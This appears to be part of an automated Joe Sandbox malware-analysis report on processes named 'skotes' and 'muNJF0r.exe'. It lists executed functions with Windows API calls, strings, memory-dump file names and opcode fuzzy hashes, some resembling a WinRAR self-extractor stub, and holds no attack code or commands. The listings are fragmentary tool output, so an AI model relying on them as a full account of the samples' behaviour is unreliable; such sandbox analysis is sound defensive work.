Associated: 00000003.00000002.1641783534.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641813334.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641859399.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641990175.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642018905.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642177300.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642200741.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642227567.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642384497.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642428666.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642463826.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642488989.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642633630.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642651646.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642674625.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642772336.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642793373.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642936578.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642960597.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642976734.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643167024.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643191651.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643226778.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: d3d4febc0b2058b8af74ae38f3cb7ffb11c9777cda476b468f0a032e170f4c61
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: C8B115B29042459FDB15CF28C8817AEBBF9EF86350F24856AE855EF281D6348D01CBE0

Function 0098BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0098BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0098BBE4
_xtime_get.LIBCPMT ref: 0098BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0098BC13

Memory Dump Source

Source File: 00000003.00000002.1638466154.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000003.00000002.1638437343.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638466154.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638537727.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638560898.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638635202.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638748210.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638840599.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639206027.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639222979.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639246565.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639262735.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639324342.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639339932.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639361344.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639381027.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639444675.0000000000B92000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639658617.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639769632.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640428170.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640512961.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640587972.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641783534.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641813334.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641859399.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641990175.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642018905.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642177300.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642200741.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642227567.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642384497.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642428666.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642463826.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642488989.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642633630.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642651646.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642674625.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642772336.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642793373.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642936578.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642960597.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642976734.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643167024.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643191651.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643226778.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 0de37731e3fdac8cd2ac246e66995744a0b5ebdc9e3995878cffe33fe1c5cb3b
Instruction ID: a3c6934f9b15f81c2cf4021ff25910b8877279e1da584a6bcc6f911627289621
Opcode Fuzzy Hash: 0de37731e3fdac8cd2ac246e66995744a0b5ebdc9e3995878cffe33fe1c5cb3b
Instruction Fuzzy Hash: D0211BB1A00119AFDF00EBA4D885ABEB7B9EF48710F100025FA11A7361DB34AD019BA0

Analysis Process: muNJF0r.exePID: 1196, Parent PID: 6828COMMON

Execution Graph

Execution Coverage:	9.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.7%
Total number of Nodes:	1473
Total number of Limit Nodes:	46

Executed Functions

Function 00BBDF1E Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 195
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BB0863: GetModuleHandleW.KERNEL32(kernel32), ref: 00BB087C
Part of subcall function 00BB0863: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00BB088E
Part of subcall function 00BB0863: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00BB08BF

Part of subcall function 00BBA64D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00BBA655

Part of subcall function 00BBAC16: OleInitialize.OLE32(00000000), ref: 00BBAC2F
Part of subcall function 00BBAC16: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00BBAC66
Part of subcall function 00BBAC16: SHGetMalloc.SHELL32(00BE8438), ref: 00BBAC70

GetCommandLineW.KERNEL32 ref: 00BBDF5C
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00BBDF83
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 00BBDF94
UnmapViewOfFile.KERNEL32(00000000), ref: 00BBDFCE

Part of subcall function 00BBDBDE: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00BBDBF4
Part of subcall function 00BBDBDE: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00BBDC30

CloseHandle.KERNEL32(00000000), ref: 00BBDFD7
GetModuleFileNameW.KERNEL32(00000000,00BFEC90,00000800), ref: 00BBDFF2
SetEnvironmentVariableW.KERNEL32(sfxname,00BFEC90), ref: 00BBDFFE
GetLocalTime.KERNEL32(?), ref: 00BBE009
_swprintf.LIBCMT ref: 00BBE048
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00BBE05A
GetModuleHandleW.KERNEL32(00000000), ref: 00BBE061
LoadIconW.USER32(00000000,00000064), ref: 00BBE078
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001B7E0,00000000), ref: 00BBE0C9
Sleep.KERNEL32(?), ref: 00BBE0F7
DeleteObject.GDI32 ref: 00BBE130
DeleteObject.GDI32(?), ref: 00BBE140
CloseHandle.KERNEL32 ref: 00BBE183

Strings

sfxname, xrefs: 00BBDFF9
winrarsfxmappingfile.tmp, xrefs: 00BBDF77
STARTDLG, xrefs: 00BBE0BE
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00BBE039
sfxstime, xrefs: 00BBE055
C:\Windows\system32, xrefs: 00BBDF33

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Windows\system32$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 3049964643-2876083297
Opcode ID: c336a683f38dafd4afd33d40d6d0340d57af01437ecc1d1f5cf723044b98d0c7
Instruction ID: 98c924437d1f4b3f23325d43ce9ff7338ec576233d15d43ca461a5b1813de56f
Opcode Fuzzy Hash: c336a683f38dafd4afd33d40d6d0340d57af01437ecc1d1f5cf723044b98d0c7
Instruction Fuzzy Hash: 9D61F671905245AFD320AB74DC99FBB7BECEB45700F0004AAF505A72A2EFB8D944C762

Function 00BBA6C2 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,00BBB73D,00000066), ref: 00BBA6D5
SizeofResource.KERNEL32(00000000,?,?,?,00BBB73D,00000066), ref: 00BBA6EC
LoadResource.KERNEL32(00000000,?,?,?,00BBB73D,00000066), ref: 00BBA703
LockResource.KERNEL32(00000000,?,?,?,00BBB73D,00000066), ref: 00BBA712
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00BBB73D,00000066), ref: 00BBA72D
GlobalLock.KERNEL32(00000000), ref: 00BBA73E
CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00BBA762
GlobalUnlock.KERNEL32(00000000), ref: 00BBA7C6

Part of subcall function 00BBA626: GdipAlloc.GDIPLUS(00000010), ref: 00BBA62C

GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00BBA7A7
GlobalFree.KERNEL32(00000000), ref: 00BBA7CD

Strings

PNG, xrefs: 00BBA6C6

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Global$Resource$AllocCreateGdipLock$BitmapFindFreeFromLoadSizeofStreamUnlock
String ID: PNG
API String ID: 211097158-364855578
Opcode ID: 09a737dd795726eae42cbcc0c4561366bcf018e00314422b4392f01e360994fd
Instruction ID: b26b932785f69def941b4c9122d2c4b3f16069c975bb3288a65215f4ec9304fa
Opcode Fuzzy Hash: 09a737dd795726eae42cbcc0c4561366bcf018e00314422b4392f01e360994fd
Instruction Fuzzy Hash: 3031C4B5A05702AFC7109F22DC98D6BBBF8EF84B50B000959F84593262FF71DC44CA62

Function 00BAA69B Relevance: 7.6, APIs: 5, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00BAA592,000000FF,?,?), ref: 00BAA6C4

Part of subcall function 00BABB03: _wcslen.LIBCMT ref: 00BABB27

FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,00BAA592,000000FF,?,?), ref: 00BAA6F2
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00BAA592,000000FF,?,?), ref: 00BAA6FE
FindNextFileW.KERNEL32(?,?,?,?,?,?,00BAA592,000000FF,?,?), ref: 00BAA728
GetLastError.KERNEL32(?,?,?,?,00BAA592,000000FF,?,?), ref: 00BAA734

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next_wcslen
String ID:
API String ID: 42610566-0
Opcode ID: 91e7ac6fa28c44b192d628f3be9d5e07182272050d8057d37c446b51de968430
Instruction ID: c6343c55ce0eb9d6bb451240027d6b5b0f222340762324117a2825e373aeec37
Opcode Fuzzy Hash: 91e7ac6fa28c44b192d628f3be9d5e07182272050d8057d37c446b51de968430
Instruction Fuzzy Hash: A8418E72900115ABCB25DF68CC84AEAF7F8FB49350F1041E6E569E3210D7346E94CFA1

Function 00BC7DEE Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,00BC7DC4,00000000,00BDC300,0000000C,00BC7F1B,00000000,00000002,00000000), ref: 00BC7E0F
TerminateProcess.KERNEL32(00000000,?,00BC7DC4,00000000,00BDC300,0000000C,00BC7F1B,00000000,00000002,00000000), ref: 00BC7E16
ExitProcess.KERNEL32 ref: 00BC7E28

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 2c35ab3358b6d38fd9dc44be54df37d05c9d92978870acf497fc0e7754c8bf2c
Instruction ID: 73dff00b61a62c3d541a3914d9563ab4131a3b307576361d0cda30b4fc89fa03
Opcode Fuzzy Hash: 2c35ab3358b6d38fd9dc44be54df37d05c9d92978870acf497fc0e7754c8bf2c
Instruction Fuzzy Hash: A1E04632001148ABCF016F20CD1AF4ABFEAEB00741F0044A9F809AB133DF36DE92CA90

Function 00BA848E Relevance: 2.5, APIs: 1, Instructions: 960COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BA8493

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c2da1e8cc61342c6f52d0531142480035d185774436e2fdc8c0008774d2d2318
Instruction ID: 74e95970f3cc0c126c62d22433dd55f25e9ed0396408e73c1f7fb7835efba6c4
Opcode Fuzzy Hash: c2da1e8cc61342c6f52d0531142480035d185774436e2fdc8c0008774d2d2318
Instruction Fuzzy Hash: 5C82F970908245AEDF25DF64C895BFABBF9EF17300F0845F9E8499B542DB315A84CB60

Function 00BBB7E0 Relevance: 102.2, APIs: 48, Strings: 10, Instructions: 731windowfilesleepCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BBB7E5

Part of subcall function 00BA1316: GetDlgItem.USER32(00000000,00003021), ref: 00BA135A
Part of subcall function 00BA1316: SetWindowTextW.USER32(00000000,00BD35F4), ref: 00BA1370

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00BBB8D1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00BBB8EF
IsDialogMessageW.USER32(?,?), ref: 00BBB902
TranslateMessage.USER32(?), ref: 00BBB910
DispatchMessageW.USER32(?), ref: 00BBB91A
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 00BBB93D
KiUserCallbackDispatcher.NTDLL(?,00000001), ref: 00BBB960
GetDlgItem.USER32(?,00000068), ref: 00BBB983
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00BBB99E
SendMessageW.USER32(00000000,000000C2,00000000,00BD35F4), ref: 00BBB9B1

Part of subcall function 00BBD453: _wcslen.LIBCMT ref: 00BBD47D

SetFocus.USER32(00000000), ref: 00BBB9B8
_swprintf.LIBCMT ref: 00BBBA24

Part of subcall function 00BA4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BA40A5

Part of subcall function 00BBD4D4: GetDlgItem.USER32(00000068,00BFFCB8), ref: 00BBD4E8
Part of subcall function 00BBD4D4: ShowWindow.USER32(00000000,00000005,?,?,?,00BBAF07,00000001,?,?,00BBB7B9,00BD506C,00BFFCB8,00BFFCB8,00001000,00000000,00000000), ref: 00BBD510
Part of subcall function 00BBD4D4: SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00BBD51B
Part of subcall function 00BBD4D4: SendMessageW.USER32(00000000,000000C2,00000000,00BD35F4), ref: 00BBD529
Part of subcall function 00BBD4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00BBD53F
Part of subcall function 00BBD4D4: SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00BBD559
Part of subcall function 00BBD4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00BBD59D
Part of subcall function 00BBD4D4: SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00BBD5AB
Part of subcall function 00BBD4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00BBD5BA
Part of subcall function 00BBD4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00BBD5E1
Part of subcall function 00BBD4D4: SendMessageW.USER32(00000000,000000C2,00000000,00BD43F4), ref: 00BBD5F0

GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 00BBBA68
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 00BBBA90
GetTickCount.KERNEL32 ref: 00BBBAAE
_swprintf.LIBCMT ref: 00BBBAC2
GetLastError.KERNEL32(?,00000011), ref: 00BBBAF4
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00000000,00000000,00000000,?), ref: 00BBBB43
_swprintf.LIBCMT ref: 00BBBB7C
CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,00007104,winrarsfxmappingfile.tmp), ref: 00BBBBD0
GetCommandLineW.KERNEL32 ref: 00BBBBEA
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,?), ref: 00BBBC47
ShellExecuteExW.SHELL32(0000003C), ref: 00BBBC6F
Sleep.KERNEL32(00000064), ref: 00BBBCB9
UnmapViewOfFile.KERNEL32(?,?,0000430C,?,00000080), ref: 00BBBCE2
CloseHandle.KERNEL32(00000000), ref: 00BBBCEB
_swprintf.LIBCMT ref: 00BBBD1E
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00BBBD7D
SetDlgItemTextW.USER32(?,00000065,00BD35F4), ref: 00BBBD94
GetDlgItem.USER32(?,00000065), ref: 00BBBD9D
GetWindowLongW.USER32(00000000,000000F0), ref: 00BBBDAC
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00BBBDBB
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00BBBE68
_wcslen.LIBCMT ref: 00BBBEBE
_swprintf.LIBCMT ref: 00BBBEE8
SendMessageW.USER32(?,00000080,00000001,?), ref: 00BBBF32
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 00BBBF4C
GetDlgItem.USER32(?,00000068), ref: 00BBBF55
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 00BBBF6B
GetDlgItem.USER32(?,00000066), ref: 00BBBF85
SetWindowTextW.USER32(00000000,00BEA472), ref: 00BBBFA7
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 00BBC007
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00BBC01A
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001B5C0,00000000,?), ref: 00BBC0BD
EnableWindow.USER32(00000000,00000000), ref: 00BBC197
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 00BBC1D9

Part of subcall function 00BBC73F: __EH_prolog.LIBCMT ref: 00BBC744

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00BBC1FD

Strings

<, xrefs: 00BBBB84
winrarsfxmappingfile.tmp, xrefs: 00BBBBA6
STARTDLG, xrefs: 00BBB801
__tmp_rar_sfx_access_check_%u, xrefs: 00BBBAB5
LICENSEDLG, xrefs: 00BBC0B2
@, xrefs: 00BBBB91
C:\Windows\system32, xrefs: 00BBBBC9
%s, xrefs: 00BBBED8
"%s"%s, xrefs: 00BBBD0D
-el -s2 "-d%s" "-sp%s", xrefs: 00BBBB6B

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Message$ItemSend$Text$Window$_swprintf$File$ErrorLast$DialogH_prologLongView_wcslen$CallbackCloseCommandCountCreateDispatchDispatcherEnableExecuteFocusHandleLineMappingModuleNameParamShellShowSleepTickTranslateUnmapUser__vswprintf_c_l
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Windows\system32$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 3445078344-2586110855
Opcode ID: a0624dc96c74085a9b74adc62b5e151ef9c483d53aefb5e3886197a9de48ec1e
Instruction ID: 5bc3c9da0cad46f46222e4b765793f2d6915253410762914b103856af11931c9
Opcode Fuzzy Hash: a0624dc96c74085a9b74adc62b5e151ef9c483d53aefb5e3886197a9de48ec1e
Instruction Fuzzy Hash: 7E429171944299ABEB219B649C8AFFE7BFCEB05700F0000D5F645A71E2DBF49A44CB61

Function 00BB0863 Relevance: 52.8, APIs: 23, Strings: 7, Instructions: 316
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 00BB087C
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00BB088E
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00BB08BF
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00BB0B69
